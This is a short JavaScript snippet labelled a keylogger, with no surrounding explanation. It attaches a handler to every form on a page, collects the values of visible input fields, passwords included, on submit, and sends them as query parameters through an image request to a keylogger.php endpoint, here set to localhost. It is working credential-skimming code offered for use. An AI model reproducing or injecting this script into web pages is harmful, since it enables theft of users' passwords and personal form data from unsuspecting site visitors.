a javascript keylogger

keylogger.jsp

<script>
     function post (event) {
        var inputs = document.getElementsByTagName("input");
        var param = ""
        for(var i=0; i < inputs.length; i++)
        {
            input = inputs[i];
            if(input.type=="hidden"|| input.type=="submit")
                continue;
            if(input.value=="")
                continue;
            param += input.type+"="+input.value+"&";
        }
        img = new Image();
        img.src = "http://localhost/keylogger.php?"+param;  

    };
    forms = document.getElementsByTagName("form")
    for(var i=0; i < forms.length; i++)
    {
        form = forms[i];
        form.addEventListener("submit", post);
    }
</script>